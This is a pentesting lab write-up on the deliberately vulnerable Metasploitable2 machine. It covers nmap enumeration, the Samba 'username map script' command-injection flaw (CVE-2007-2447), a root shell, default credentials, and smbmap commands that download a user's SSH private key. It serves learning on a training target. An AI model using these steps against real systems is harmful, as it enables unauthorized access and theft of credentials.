Metasploitable2

What is Metasploitable?

Metasploitable is a machine that was created to practice pentesting, it has a lot of vulnerabilities that we can use to practice.

My goal is to discover as many vulnerabilities as possible, to the best of my limited knowledge.

I will upload my reports to GitHub: https://github.com/Noli18P

How will my reports be structured?

I will start with an enumeration to discover ONLY the open ports and once I have the list, I will use each one of them to try to discover vulnerabilities and write a small report about it, without rushing and trying to learn as much as I can.

Enumeration

To know the open ports I need to run nmap together with a series of parameters, I will divide this scan in two parts

→ A scan to get only open ports.
→ Another much deeper scan to get versions and run some scripts.

nmap -p- -sS --min-rate 5000 --open -vvv 192.168.56.101 -o allPorts.txt

How does the command work?

→ **-p-** To scan all 65535 ports.
→ **-sS** For scanning over TCP.
→ **--min-rate 5000** It allows me to choose the number of packets per second to be sent.
→ **--open** To show only open ports.
→ **-vvv** It shows me the results in a more detailed way.
→ **-o** To export the results to a file.

Now thanks to this super fast scan it allows me to save a lot of time and focus only on the open ports:

⇒ 21,22,23,25,53,80,11,139,445,512,513,514,1099,1524,2049,2121,3306,
⇒ 3632,5432,5900,6000,6667,6697,8009,8180,8787,35331,38712,
⇒ 46167,53241

Some of these ports are common such as FTP, SSH, HTTP, telnet, smpt, etc.

Once the ports are open I can run the second scan which will allow me to get much more information about the ports:

nmap -p (allports) -sV -sC -T5 -vvv -o deepScan.txt

How does the command work?

→ **-p** To specify the ports.
→ **-sV** To obtain the versions of the services that are being executed.
→ **-sC** To run some common scripts and try to obtain more information.
→ **-T5** To increase the speed to the maximum level.
→ **-vvv** It shows me the results in a more detailed way.
→ **-o** To export the results to a file.

SMB - 139,445

I like this service very much because it allows many facilities but also many failures, to obtain more information I made a scan for ports 139 and 445, I obtained the following result:

```
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

Host script results:
|_clock-skew: mean: 2h00m00s, deviation: 2h49m42s, median: 0s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2021-10-04T13:56:24-04:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
```

I did a search with searchsploit for samba 3.0.20 and it is vulnerable to the following:

```
┌──(kali㉿kali)-[~]
└─$ searchsploit samba 3.0.20
------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)
```

As always before using the exploit, I like to review the exploit code for more information and I found the following!

```
        This module exploits a command execution vulerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
commands.

No authentication is needed to exploit this vulnerability since
this option is used to map usernames prior to authentication!
```

I also found the CVE which is always very useful to know more about the vulnerability!

```
'References'      ⇒
        [
                [ 'CVE', '2007-2447' ],
                [ 'OSVDB', '34700' ],
```

CVE-2007-2447

Current Description

The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.

They basically inject metacharacters into certain functions to execute commands.

Worst of all, I am directly root so I don't have to worry about escalating privileges and an attacker would have control of everything!

```
python -c 'import pty; pty.spawn("/bin/bash")'
root@metasploitable:/# whoami
whoami
root
```

In addition to the fact that I can connect without credentials I can also use the following:

→ msfadmin:msfadmin
→ user:user

```
smbmap -H metasploitable -u msfadmin -p msfadmin -r msfadmin/.ssh
Name: unknown
                                Permissions     Comment
                                ___________     _______
                                READ, WRITE

  0 Mon May 17 20:43:17 2010    .
  0 Mon Oct  4 14:03:01 2021    ..
609 Fri May  7 13:38:34 2010    authorized_keys
1675 Mon May 17 20:43:17 2010   id_rsa
405 Mon May 17 20:43:17 2010    id_rsa.pub
```

```
kali@kali:~/Metasploitable/smb$ smbmap -H metasploitable -u msfadmin -p msfadmin --download msfadmin/.ssh/id_r
[+] Starting download: msfadmin\.ssh\id_rsa (1675 bytes)
[+] File output to: /home/kali/Metasploitable/smb/metasploitable-msfadmin_.ssh_id_rsa

kali@kali:~/Metasploitable/smb$ ls
enum-smb.txt  metasploitable-msfadmin_.ssh_id_rsa  smb.txt
```

Conclusión:

I was also able to download a file, so not only did I enter the system with the above vulnerability, an attacker could enumerate even more resources available on the machine.